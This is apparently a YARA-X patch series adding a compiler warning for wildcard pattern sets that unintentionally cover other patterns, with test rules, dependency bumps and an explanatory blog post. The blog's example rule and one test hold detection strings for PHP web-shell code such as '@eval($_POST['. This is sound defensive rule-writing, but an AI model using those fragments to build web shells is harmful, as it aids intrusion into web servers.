number of conjunctive branches to extract before capping + /// expansion (prevents exponential growth on complex boolean trees). + const MAX_BRANCHES: usize = 256; + + /// Decomposes an AST expression tree into its conjunctive branches. + /// + /// The conjunctive branch decomposition algorithm converts a boolean AST + /// tree into Disjunctive Normal Form (DNF) execution paths (conjunctive + /// branches). Each `ConjunctiveBranch` represents a set of terms that must + /// be true at the same time in a single execution path of the rule + /// condition. + /// + /// Returns `None` if the number of branches exceeds `MAX_BRANCHES`. + pub fn from_expr(expr: &'src ast::Expr<'src>) -> Option { + Self::extract_branches(expr).map(|branches| Self { branches }) + } + + /// Returns the slice of conjunctive branches. + #[inline] + pub fn branches(&self) -> &[ConjunctiveBranch<'src>] { + &self.branches + } + + /// Decomposes an AST expression tree into Disjunctive Normal Form (DNF) + /// conjunctive branches using an explicit, non-recursive stack frame loop. + /// + /// # How the Algorithm Works + /// + /// The algorithm transforms a boolean AST (e.g. `(A or B) and C`) into + /// alternative execution paths (e.g. `[A, C]` and `[B, C]`), where each + /// path (`ConjunctiveBranch`) contains terms that must evaluate to true + /// simultaneously. + /// + /// The traversal uses an explicit stack of `Frame`s instead of call-stack + /// recursion: + /// + /// - `Frame::Sequence` (Accumulating Conjunctions): Traverses sub-expressions + /// sequentially. Each expression inherits the `branches` accumulated by its + /// predecessor. Terminal leaf expressions append themselves to every active + /// branch in `branches`. + /// + /// - `Frame::Disjunction` (Forking `OR` Alternatives): Evaluates `OR` + /// operands independently. Each operand receives a cloned snapshot of the + /// input `branches`. The alternative branches generated by each operand are + /// combined into `results` and returned to the parent frame. + /// + /// When a frame completes, `pass_branches_to_parent` passes its branches to + /// the parent frame on the stack. Returns `None` if the total output branches + /// exceed `MAX_BRANCHES` (256) at any point. + fn extract_branches( + root: &'src ast::Expr<'src>, + ) -> Option>> { + let mut stack = vec![Frame::Sequence { + exprs: Box::new(iter::once(root)), + branches: vec![ConjunctiveBranch::default()], + }]; + + while let Some(frame) = stack.pop() { + match frame { + Frame::Disjunction { mut operands, branches, results } => { + match operands.next() { + Some(op) => { + stack.push(Frame::Disjunction { + operands, + branches: branches.clone(), + results, + }); + stack.push(Frame::Sequence { + exprs: Box::new(iter::once(op)), + branches, + }); + } + None => { + if let ControlFlow::Break(result) = + Self::pass_branches_to_parent( + &mut stack, results, + ) + { + return result; + } + } + } + } + Frame::Sequence { mut exprs, mut branches } => { + match exprs.next() { + Some(expr) => { + stack.push(Frame::Sequence { + exprs, + branches: Vec::new(), + }); + match expr { + ast::Expr::Or(nary) => { + stack.push(Frame::Disjunction { + operands: Box::new(nary.operands()), + branches, + results: Vec::new(), + }); + } + _ => { + let push_leaf = matches!( + expr, + ast::Expr::ForOf(_) + | ast::Expr::True { .. } + | ast::Expr::False { .. } + | ast::Expr::Filesize { .. } + | ast::Expr::Entrypoint { .. } + | ast::Expr::LiteralString(_) + | ast::Expr::LiteralInteger(_) + | ast::Expr::LiteralFloat(_) + | ast::Expr::Regexp(_) + | ast::Expr::Ident(_) + | ast::Expr::PatternMatch(_) + | ast::Expr::PatternCount(_) + | ast::Expr::PatternOffset(_) + | ast::Expr::PatternLength(_) + | ast::Expr::Of(_) + ); + // Every active branch in `branches` gets the + // leaf expression pushed onto its `.exprs` list. + if push_leaf { + for b in &mut branches { + b.exprs.push(expr); + } + } + stack.push(Frame::Sequence { + exprs: expr.children(), + branches, + }); + } + } + } + None => { + if let ControlFlow::Break(result) = + Self::pass_branches_to_parent( + &mut stack, branches, + ) + { + return result; + } + } + } + } + } + } + + // Unreachable: the stack loop always terminates when + // pass_branches_to_parent evaluates the top-level root frame and + // returns ControlFlow::Break. + unreachable!() + } + + /// Passes finished conjunctive branches from a completed frame to its parent + /// frame on the stack. If there is no parent frame remaining (i.e. top-level + /// root frame completed), returns `ControlFlow::Break(Some(finished_branches))`. + /// Returns `ControlFlow::Break(None)` if `MAX_BRANCHES` is exceeded. + fn pass_branches_to_parent( + stack: &mut [Frame<'src>], + finished: Vec>, + ) -> ControlFlow>>> { + if finished.len() > Self::MAX_BRANCHES { + return ControlFlow::Break(None); + } + + let finished = if finished.is_empty() { + vec![ConjunctiveBranch::default()] + } else { + finished + }; + + if let Some(parent) = stack.last_mut() { + match parent { + Frame::Disjunction { results, .. } => { + // Collect alternative branches from this disjunction operand + results.extend(finished); + if results.len() > Self::MAX_BRANCHES { + return ControlFlow::Break(None); + } + } + Frame::Sequence { branches, .. } => { + // Update sequential input branches for the next sibling child + *branches = finished; + } + } + ControlFlow::Continue(()) + } else { + ControlFlow::Break(Some(finished)) + } + } +} + +/// Checks wildcard pattern set items (e.g. `$s*`) for patterns that are +/// included in the set but also explicitly used outside the set in the same +/// conjunctive branch (expressions that must be true at the same time), or +/// matched by another set with a more specific (longer) prefix in the same +/// branch. +fn check_unintended_patterns_in_sets<'src>( + ctx: &mut CompileContext<'_, 'src>, + condition: &'src ast::Expr<'src>, +) { + // Decompose condition AST into DNF execution paths (conjunctive branches). + let Some(conjunctive_branches) = ConjunctiveBranches::from_expr(condition) + else { + return; + }; + let mut reported = std::collections::HashSet::new(); + + for branch in conjunctive_branches.branches() { + let mut explicit_patterns = Vec::new(); + let mut wildcard_pattern_sets = Vec::new(); + + // Extract explicit pattern presence checks and wildcard pattern sets + // active within this specific conjunctive branch. + for expr in branch.exprs() { + match expr { + // Direct pattern match (e.g. `$s1` or `$s1 at 100`). + ast::Expr::PatternMatch(pm) => { + if !pm.identifier.name.is_empty() { + explicit_patterns + .push((pm.identifier.name, pm.identifier.span())); + } + } + // Pattern set in `of` expressions (e.g. `1 of ($s1, $s*)`). + ast::Expr::Of(of) => { + if let ast::OfItems::PatternSet(ast::PatternSet::Set( + set, + )) = &of.items + { + for item in set { + if item.wildcard { + wildcard_pattern_sets + .push((item.identifier, item.span())); + } else { + explicit_patterns + .push((item.identifier, item.span())); + } + } + } + } + // Pattern set in `for ... of` loops. + ast::Expr::ForOf(for_of) => { + if let ast::PatternSet::Set(set) = &for_of.pattern_set { + for item in set { + if item.wildcard { + wildcard_pattern_sets + .push((item.identifier, item.span())); + } else { + explicit_patterns + .push((item.identifier, item.span())); + } + } + } + } + _ => {} + } + } + + // For each wildcard pattern set in this branch, check if any rule + // pattern matching the set's prefix is also explicitly used in the + // same branch, or matched by a longer (more specific) prefix set. + for (s1, span1) in &wildcard_pattern_sets { + for pattern in ctx.current_rule_patterns.iter() { + let pat = pattern.identifier().name; + if pat.starts_with(s1) { + let (label1, span1, label2, span2) = + if let Some((_, span2)) = explicit_patterns + .iter() + .find(|(name, _)| *name == pat) + { + if span1.start() < span2.start() { + ( + format!("`{pat}` is included in `{s1}*`"), + span1, + format!("`{pat}` is also used here"), + span2, + ) + } else { + ( + format!("`{pat}` is used here"), + span2, + format!( + "`{pat}` is also included in `{s1}*`" + ), + span1, + ) + } + } else if let Some((s2, span2)) = wildcard_pattern_sets + .iter() + .find(|(prefix2, _)| { + prefix2.len() > s1.len() + && pat.starts_with(prefix2) + }) + { + if span1.start() < span2.start() { + ( + format!("`{pat}` is included in `{s1}*`"), + span1, + format!( + "`{pat}` is also included in `{s2}*`" + ), + span2, + ) + } else { + ( + format!("`{pat}` is included in `{s2}*`"), + span2, + format!( + "`{pat}` is also included in `{s1}*`" + ), + span1, + ) + } + } else { + continue; + }; + + if reported.insert((pat, span1.clone())) { + ctx.warnings.add(|| { + warnings::UnintendedPatternInSet::build( + ctx.report_builder, + pat.to_string(), + format!("{s1}*"), + label1, + ctx.report_builder + .span_to_code_loc(span1.clone()), + label2, + ctx.report_builder + .span_to_code_loc(span2.clone()), + ) + }); + } + } + } + } + } +} + +fn func_call_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + func_call: &ast::FuncCall<'src>, ) -> Result { let mut object = if let Some(obj) = &func_call.object { let expr = expr_from_ast(ctx, obj)?; @@ -1987,9 +2373,9 @@ fn func_call_from_ast( Ok(ctx.ir.func_call(object, args, matching_signature.clone())) } -fn matches_expr_from_ast( - ctx: &mut CompileContext, - expr: &ast::BinaryExpr, +fn matches_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::BinaryExpr<'src>, ) -> Result { let lhs_span = expr.lhs.span(); let rhs_span = expr.rhs.span(); @@ -2203,9 +2589,9 @@ pub(in crate::compiler) fn warn_if_not_bool( macro_rules! gen_unary_op { ($name:ident, $variant:ident, $( $accepted_types:path )|+, $check_fn:expr) => { - fn $name( - ctx: &mut CompileContext, - expr: &ast::UnaryExpr, + fn $name<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::UnaryExpr<'src>, ) -> Result { let operand = expr_from_ast(ctx, &expr.operand)?; @@ -2231,9 +2617,9 @@ macro_rules! gen_unary_op { macro_rules! gen_binary_op { ($name:ident, $variant:ident, $( $accepted_types:path )|+, $compatible_types:expr, $check_fn:expr) => { - fn $name( - ctx: &mut CompileContext, - expr: &ast::BinaryExpr, + fn $name<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::BinaryExpr<'src>, ) -> Result { let lhs_span = expr.lhs.span(); let rhs_span = expr.rhs.span(); @@ -2266,9 +2652,9 @@ macro_rules! gen_binary_op { macro_rules! gen_string_op { ($name:ident, $variant:ident) => { - fn $name( - ctx: &mut CompileContext, - expr: &ast::BinaryExpr, + fn $name<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::BinaryExpr<'src>, ) -> Result { let lhs_span = expr.lhs.span(); let rhs_span = expr.rhs.span(); @@ -2293,9 +2679,9 @@ macro_rules! gen_string_op { macro_rules! gen_n_ary_operation { ($name:ident, $variant:ident, $( $accepted_types:path )|+, $compatible_types:expr, $check_fn:expr) => { - fn $name( - ctx: &mut CompileContext, - expr: &ast::NAryExpr, + fn $name<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::NAryExpr<'src>, ) -> Result { let span = expr.span(); let accepted_types = &[$( $accepted_types ),+]; @@ -2391,9 +2777,9 @@ gen_n_ary_operation!( }) ); -fn or_expr_from_ast( - ctx: &mut CompileContext, - expr: &ast::NAryExpr, +fn or_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::NAryExpr<'src>, ) -> Result { let span = expr.span(); let accepted_types = diff --git a/lib/src/compiler/tests/testdata/warnings/49.in b/lib/src/compiler/tests/testdata/warnings/49.in new file mode 100644 index 000000000..09dac1877 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/49.in @@ -0,0 +1,19 @@ +rule test_1 { + strings: + $s1 = "foo" + $s2 = "bar" + $s3 = "baz" + $start_bytes = { 80 90 } + condition: + $start_bytes and any of ($s*) +} + +rule test_2 { + strings: + $s1 = "foo" + $s2 = "bar" + $s3 = "baz" + $start_bytes = { 80 90 } + condition: + any of ($s*) and $start_bytes +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/warnings/49.out b/lib/src/compiler/tests/testdata/warnings/49.out new file mode 100644 index 000000000..aa0f448f0 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/49.out @@ -0,0 +1,14 @@ +warning[unintended_pattern_in_set]: pattern `$start_bytes` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:5 + | +8 | $start_bytes and any of ($s*) + | ------------ --- `$start_bytes` is also included in `$s*` + | | + | `$start_bytes` is used here +warning[unintended_pattern_in_set]: pattern `$start_bytes` may be unintendedly or redundantly included in pattern set `$s*` + --> line:18:13 + | +18 | any of ($s*) and $start_bytes + | --- ------------ `$start_bytes` is also used here + | | + | `$start_bytes` is included in `$s*` diff --git a/lib/src/compiler/tests/testdata/warnings/50.in b/lib/src/compiler/tests/testdata/warnings/50.in new file mode 100644 index 000000000..c2c0481ed --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/50.in @@ -0,0 +1,19 @@ +rule test_1 { + strings: + $s1 = "foo" + $s2 = "bar" + $sc_check1 = "baz" + $sc_check2 = "qux" + condition: + 1 of ($sc_check*) and 2 of ($s*) +} + +rule test_2 { + strings: + $s1 = "foo" + $s2 = "bar" + $sc_check1 = "baz" + $sc_check2 = "qux" + condition: + 2 of ($s*) and 1 of ($sc_check*) +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/warnings/50.out b/lib/src/compiler/tests/testdata/warnings/50.out new file mode 100644 index 000000000..15e8853a8 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/50.out @@ -0,0 +1,28 @@ +warning[unintended_pattern_in_set]: pattern `$sc_check1` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:11 + | +8 | 1 of ($sc_check*) and 2 of ($s*) + | ---------- --- `$sc_check1` is also included in `$s*` + | | + | `$sc_check1` is included in `$sc_check*` +warning[unintended_pattern_in_set]: pattern `$sc_check2` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:11 + | +8 | 1 of ($sc_check*) and 2 of ($s*) + | ---------- --- `$sc_check2` is also included in `$s*` + | | + | `$sc_check2` is included in `$sc_check*` +warning[unintended_pattern_in_set]: pattern `$sc_check1` may be unintendedly or redundantly included in pattern set `$s*` + --> line:18:11 + | +18 | 2 of ($s*) and 1 of ($sc_check*) + | --- ---------- `$sc_check1` is also included in `$sc_check*` + | | + | `$sc_check1` is included in `$s*` +warning[unintended_pattern_in_set]: pattern `$sc_check2` may be unintendedly or redundantly included in pattern set `$s*` + --> line:18:11 + | +18 | 2 of ($s*) and 1 of ($sc_check*) + | --- ---------- `$sc_check2` is also included in `$sc_check*` + | | + | `$sc_check2` is included in `$s*` diff --git a/lib/src/compiler/tests/testdata/warnings/51.in b/lib/src/compiler/tests/testdata/warnings/51.in new file mode 100644 index 000000000..dcf6bd284 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/51.in @@ -0,0 +1,9 @@ +rule test_1 { + strings: + $s1 = "foo" + $s2 = "far" + $s3 = "baz" + $start_bytes = { 80 90 } + condition: + ($start_bytes or $s1) and (any of ($s*)) +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/warnings/51.out b/lib/src/compiler/tests/testdata/warnings/51.out new file mode 100644 index 000000000..1766c8752 --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/51.out @@ -0,0 +1,14 @@ +warning[unintended_pattern_in_set]: pattern `$start_bytes` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:6 + | +8 | ($start_bytes or $s1) and (any of ($s*)) + | ------------ --- `$start_bytes` is also included in `$s*` + | | + | `$start_bytes` is used here +warning[unintended_pattern_in_set]: pattern `$s1` may be unintendedly or redundantly included in pattern set `$s*` + --> line:8:22 + | +8 | ($start_bytes or $s1) and (any of ($s*)) + | --- --- `$s1` is also included in `$s*` + | | + | `$s1` is used here diff --git a/lib/src/compiler/tests/testdata/warnings/52.in b/lib/src/compiler/tests/testdata/warnings/52.in new file mode 100644 index 000000000..1f91214af --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/52.in @@ -0,0 +1,9 @@ +rule test { + strings: + $prefix_s_1 = "foo" + $prefix_s_2 = "bar" + + condition: + all of ($prefix_*) and + all of ($prefix_s_*) +} diff --git a/lib/src/compiler/tests/testdata/warnings/52.out b/lib/src/compiler/tests/testdata/warnings/52.out new file mode 100644 index 000000000..db864f20c --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/52.out @@ -0,0 +1,14 @@ +warning[unintended_pattern_in_set]: pattern `$prefix_s_1` may be unintendedly or redundantly included in pattern set `$prefix_*` + --> line:7:13 + | +7 | all of ($prefix_*) and + | --------- `$prefix_s_1` is included in `$prefix_*` +8 | all of ($prefix_s_*) + | ----------- `$prefix_s_1` is also included in `$prefix_s_*` +warning[unintended_pattern_in_set]: pattern `$prefix_s_2` may be unintendedly or redundantly included in pattern set `$prefix_*` + --> line:7:13 + | +7 | all of ($prefix_*) and + | --------- `$prefix_s_2` is included in `$prefix_*` +8 | all of ($prefix_s_*) + | ----------- `$prefix_s_2` is also included in `$prefix_s_*` diff --git a/lib/src/compiler/tests/testdata/warnings/no_warnings.in b/lib/src/compiler/tests/testdata/warnings/no_warnings.in index d58ca739e..dcf8d038b 100644 --- a/lib/src/compiler/tests/testdata/warnings/no_warnings.in +++ b/lib/src/compiler/tests/testdata/warnings/no_warnings.in @@ -52,10 +52,10 @@ rule test_7 { } rule test_8 { - condition: - uint8(0) == 0 or uint8(0) == 0xFF or - uint16(0) == 0 or uint16(0) == 0xFFFF or - uint32(0) == 0 or uint32(0) == 0xFFFFFFFF + condition: + uint8(0) == 0 or uint8(0) == 0xFF or + uint16(0) == 0 or uint16(0) == 0xFFFF or + uint32(0) == 0 or uint32(0) == 0xFFFFFFFF } rule test_9 { @@ -92,4 +92,52 @@ rule test_12 { $s_2 = "-" condition: any of ($s_*) at 0 -} \ No newline at end of file +} + +rule test_13 { + strings: + $s1 = "exec" + $s2 = "system" + $s3 = "spawn" + $s4 = "shell" + condition: + any of ($s*) +} + +rule test_14 { + strings: + $placeholder_instruction = "a" + $placeholder_ftp = "b" + $context_ftp = "c" + $context_other = "d" + $harm_1 = "e" + condition: + ( + $placeholder_instruction and + 1 of ($context_*) and + 1 of ($harm_*) + ) or ( + $placeholder_ftp and + $context_ftp and + 1 of ($harm_*) + ) +} + +rule test_15 { + strings: + $str1 = "foo" + $str2 = "bar" + $str3 = "baz" + $str4 = "test" + $str5 = "demo" + $key1 = "k1" + condition: + uint16(0) != 0x5A4D and + all of ($str*) and + 3 of ($key*) and + #str5 in (0 .. 1024) and + #str3 > 30 and + !str4 > 10 and + @str1 == 0 +} + diff --git a/lib/src/compiler/tests/testdata/warnings/no_warnings.out b/lib/src/compiler/tests/testdata/warnings/no_warnings.out index e69de29bb..51e0c5187 100644 --- a/lib/src/compiler/tests/testdata/warnings/no_warnings.out +++ b/lib/src/compiler/tests/testdata/warnings/no_warnings.out @@ -0,0 +1,39 @@ +warning[slow_pattern]: slow pattern + --> line:109:5 + | +109 | $placeholder_instruction = "a" + | ------------------------------ this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:110:5 + | +110 | $placeholder_ftp = "b" + | ---------------------- this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:111:5 + | +111 | $context_ftp = "c" + | ------------------ this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:112:5 + | +112 | $context_other = "d" + | -------------------- this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:113:5 + | +113 | $harm_1 = "e" + | ------------- this pattern may slow down the scan +warning[invariant_expr]: invariant boolean expression + --> line:137:5 + | +137 | 3 of ($key*) and + | ----------- this expression is always false + | + = note: the expression requires 3 matching patterns out of 1 +warning[non_bool_expr]: non-boolean expression used as boolean + --> line:138:5 + | +138 | #str5 in (0 .. 1024) and + | -------------------- this expression is `integer` but is being used as `bool` + | + = note: non-zero integers are considered `true`, while zero is `false` diff --git a/lib/src/compiler/warnings.rs b/lib/src/compiler/warnings.rs index 6e87c0298..a093f3458 100644 --- a/lib/src/compiler/warnings.rs +++ b/lib/src/compiler/warnings.rs @@ -42,6 +42,7 @@ pub enum Warning { UnknownTag(Box), UnsatisfiableExpression(Box), UnusedIdentifier(Box), + UnintendedPatternInSet(Box), } /// A hex pattern contains two or more consecutive jumps. @@ -753,6 +754,40 @@ pub struct AmbiguousExpression { loc: CodeLoc, } +/// A pattern may be unintentionally included in a pattern set. +/// +/// For instance, if a rule defines patterns `$s1`, `$s2`, `$s3` and +/// `$suspicious_string`, and the condition is: +/// +/// `$suspicious_string and any of ($s*)` +/// +/// `any of ($s*)` was intended to match `$s1`, `$s2` and `$s3`, but not +/// `$suspicious_string`. However, `$s*` includes `$suspicious_string` +/// and that was unintended. +#[derive(ErrorStruct, Debug, PartialEq, Eq)] +#[associated_enum(Warning)] +#[warning( + code = "unintended_pattern_in_set", + title = "pattern `{pattern_ident}` may be unintendedly or redundantly included in pattern set `{pattern_set}`", +)] +#[label( + "{first_label}", + first_loc +)] +#[label( + "{second_label}", + second_loc +)] +pub struct UnintendedPatternInSet { + report: Report, + pattern_ident: String, + pattern_set: String, + first_label: String, + first_loc: CodeLoc, + second_label: String, + second_loc: CodeLoc, +} + /// An identifier was declared but not used. /// /// ## Example diff --git a/parser/src/ast/mod.rs b/parser/src/ast/mod.rs index 624d0b6c4..506756e3b 100644 --- a/parser/src/ast/mod.rs +++ b/parser/src/ast/mod.rs @@ -691,6 +691,82 @@ pub enum Expr<'src> { With(Box>), } +impl<'src> Expr<'src> { + /// Returns an iterator over the child sub-expressions of this expression. + pub fn children(&self) -> Box> + '_> { + match self { + Expr::Defined(unary) + | Expr::Not(unary) + | Expr::Minus(unary) + | Expr::BitwiseNot(unary) => { + Box::new(std::iter::once(&unary.operand)) + } + + Expr::Shl(binary) + | Expr::Shr(binary) + | Expr::BitwiseAnd(binary) + | Expr::BitwiseOr(binary) + | Expr::BitwiseXor(binary) + | Expr::Eq(binary) + | Expr::Ne(binary) + | Expr::Lt(binary) + | Expr::Gt(binary) + | Expr::Le(binary) + | Expr::Ge(binary) + | Expr::Contains(binary) + | Expr::IContains(binary) + | Expr::StartsWith(binary) + | Expr::IStartsWith(binary) + | Expr::EndsWith(binary) + | Expr::IEndsWith(binary) + | Expr::IEquals(binary) + | Expr::Matches(binary) => { + Box::new([&binary.lhs, &binary.rhs].into_iter()) + } + + Expr::Add(nary) + | Expr::Sub(nary) + | Expr::Mul(nary) + | Expr::Div(nary) + | Expr::Mod(nary) + | Expr::FieldAccess(nary) + | Expr::And(nary) + | Expr::Or(nary) => Box::new(nary.operands()), + + Expr::FuncCall(func_call) => Box::new( + func_call + .object + .as_ref() + .into_iter() + .chain(func_call.args.iter()), + ), + + Expr::Lookup(lookup) => { + Box::new([&lookup.primary, &lookup.index].into_iter()) + } + + Expr::ForOf(for_of) => Box::new(std::iter::once(&for_of.body)), + Expr::ForIn(for_in) => Box::new(std::iter::once(&for_in.body)), + Expr::With(with) => Box::new(std::iter::once(&with.body)), + + Expr::True { .. } + | Expr::False { .. } + | Expr::Filesize { .. } + | Expr::Entrypoint { .. } + | Expr::LiteralString(_) + | Expr::LiteralInteger(_) + | Expr::LiteralFloat(_) + | Expr::Regexp(_) + | Expr::Ident(_) + | Expr::PatternMatch(_) + | Expr::PatternCount(_) + | Expr::PatternOffset(_) + | Expr::PatternLength(_) + | Expr::Of(_) => Box::new(std::iter::empty()), + } + } +} + /// A set of modifiers associated to a pattern. #[derive(Debug, Default)] pub struct PatternModifiers<'src> { From 448922ce3480e1b92bd5cc0fec69cde58504161a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 5 Aug 2026 11:02:03 +0200 Subject: [PATCH 023/259] chore(deps-dev): bump undici from 7.28.0 to 7.29.0 in /ls/editors/code (#728) Bumps [undici](https://github.com/nodejs/undici) from 7.28.0 to 7.29.0. - [Release notes](https://github.com/nodejs/undici/releases) - [Commits](https://github.com/nodejs/undici/compare/v7.28.0...v7.29.0) --- updated-dependencies: - dependency-name: undici dependency-version: 7.29.0 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- ls/editors/code/package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ls/editors/code/package-lock.json b/ls/editors/code/package-lock.json index da971facc..656bddd1a 100644 --- a/ls/editors/code/package-lock.json +++ b/ls/editors/code/package-lock.json @@ -5012,9 +5012,9 @@ "license": "MIT" }, "node_modules/undici": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", - "integrity": "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA==", + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.29.0.tgz", + "integrity": "sha512-IDxfleLmmbSskfWSUATiN1nfn2rDuvnMOqb5CWR92iIfojA0Ud+ulOAAEQ57LPr9rWmsreUyf5lwyao+7GNNVw==", "dev": true, "license": "MIT", "engines": { From 6e0a753a8091aab6bf8e70ee5186e80a87e0345c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 5 Aug 2026 11:17:41 +0200 Subject: [PATCH 024/259] chore(deps-dev): bump fast-uri from 3.1.4 to 3.1.5 in /ls/editors/code (#730) Bumps [fast-uri](https://github.com/fastify/fast-uri) from 3.1.4 to 3.1.5. - [Release notes](https://github.com/fastify/fast-uri/releases) - [Commits](https://github.com/fastify/fast-uri/compare/v3.1.4...v3.1.5) --- updated-dependencies: - dependency-name: fast-uri dependency-version: 3.1.5 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- ls/editors/code/package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ls/editors/code/package-lock.json b/ls/editors/code/package-lock.json index 656bddd1a..136d9c449 100644 --- a/ls/editors/code/package-lock.json +++ b/ls/editors/code/package-lock.json @@ -2444,9 +2444,9 @@ "license": "MIT" }, "node_modules/fast-uri": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.4.tgz", - "integrity": "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw==", + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.5.tgz", + "integrity": "sha512-gHwA1O9LDIcKunMKhObS/HimwtehO1nPUECKAu5TpKgaO19fcWEl4bliWe1jWxVFvIXztJjjQ4L8XQ1EU9f7Jw==", "dev": true, "funding": [ { From be2a32547d833cb7a0f6545d421c66854f4aad70 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 5 Aug 2026 12:36:55 +0200 Subject: [PATCH 025/259] docs: publish blog post about `unintended_pattern_in_set` warning. --- .../blog/unintended-pattern-in-set/index.md | 103 ++++++++++++++++++ site/hugo_stats.json | 4 + 2 files changed, 107 insertions(+) create mode 100644 site/content/blog/unintended-pattern-in-set/index.md diff --git a/site/content/blog/unintended-pattern-in-set/index.md b/site/content/blog/unintended-pattern-in-set/index.md new file mode 100644 index 000000000..01f218cc5 --- /dev/null +++ b/site/content/blog/unintended-pattern-in-set/index.md @@ -0,0 +1,103 @@ +--- +title: "Beware of the wildcard" +description: "Introducing the new unintended_pattern_in_set compiler warning in YARA-X to catch overlapping variable prefixes and pattern set collisions." +summary: "" +date: 2026-08-05T00:00:00+01:00 +lastmod: 2026-08-05T00:00:00+01:00 +draft: false +weight: 50 +categories: [ ] +tags: [ ] +contributors: [ "Victor M. Alvarez" ] +pinned: false +homepage: false +seo: + title: "Beware of the wildcard" + description: "Introducing the new unintended_pattern_in_set compiler warning in YARA-X to catch overlapping variable prefixes and pattern set collisions." + canonical: "" + noindex: false +--- + +When crafting YARA rules, wildcard pattern sets like `any of ($s*)` or +`all of ($c*)` are a very convenient feature of the language. They allow +rule authors to group related strings under a common prefix, keeping +condition logic clean and maintainable. + +However, while inspecting real-world YARA rules in search of optimization +opportunities, I realized that wildcard pattern sets are also one of the +subtlest sources of silent logic bugs. Consider this YARA rule: + +```yara +rule example_1 { + strings: + $b1 = "pluginWrapper plugin_" + $b2 = "data-areaid=" + $b3 = "PowerbyDedeCms" + $b4 = "dede_fieldshash" + $b5 = "/plus/diy.php" + + $bd1 = "@eval($_POST[" + $bd2 = "@Assert($_POST[" + + condition: + 2 of ($b*) and 1 of ($bd*) +} +``` + +The intention of this rule seems clear: it should detect any file +containing two occurrences of the patterns `$b1` through `$b5`, and one +occurrence of either `$bd1` or `$bd2`. Right? + +Well, that may be the intention, but it's not what the rule actually does. +Do you see why? Take another look. + +The issue here is that `$b*` matches every pattern identifier starting +with `$b`—which includes `$b1` through `$b5`, but also `$bd1` and `$bd2`. +In practice, because of the `1 of ($bd*)` clause, the condition requires either +`$bd1` or `$bd2` to be present. If both `$bd1` and `$bd2` are present, they +themselves satisfy `2 of ($b*)`, meaning none of the strings `$b1` through `$b5` +are required at all! If only one of `$bd1` or `$bd2` is present, then only a +single occurrence from `$b1` through `$b5` is required—not two, as `2 of ($b*)` +seems to suggest. The matching occurrence of `$bd1` or `$bd2` counts toward +evaluating `2 of ($b*)`. + +Perhaps the rule's author intended this exact behavior, but I doubt it. +Now take a look at another example where the error is even more obvious: + +```yara +rule example_2 { + strings: + $this = "This program cannot be run" + $t1 = "SAServer" + $t2 = "Pass:" + $t3 = "User:" + + condition: + $this and 1 of ($t*) +} +``` + +The `$this` pattern is explicitly required, but because `$t*` also matches `$this`, +the `1 of ($t*)` clause is completely redundant. If `$this` is true, then `1 of ($t*)` +is automatically true as well, regardless of whether `$t1`, `$t2`, or `$t3` are found. + +Issues like these turn out to be quite common in real-world rules, and I've found +multiple examples among the rules we have in VirusTotal. So I decided to implement +a new compiler warning to help detect this kind of error automatically. It proved +more challenging than I initially expected, but after a few iterations, I arrived +at a solution that works remarkably well. + +Here is what the warning looks like in action: + +```text +warning[unintended_pattern_in_set]: pattern `$this` may be unintendedly or redundantly included in pattern set `$t*` + --> test.yar:9:5 + | +9 | $this and 1 of ($t*) + | ----- --- `$this` is also included in `$t*` + | | + | `$this` is used here +``` + +This feature will be released in the upcoming YARA-X v1.20.0. Until then, +let me know what you think about it! \ No newline at end of file diff --git a/site/hugo_stats.json b/site/hugo_stats.json index 153403037..9a301ea08 100644 --- a/site/hugo_stats.json +++ b/site/hugo_stats.json @@ -289,6 +289,7 @@ "--check--c", "--compiled-rules--c", "--count--c", + "--cpu-limit-percentage", 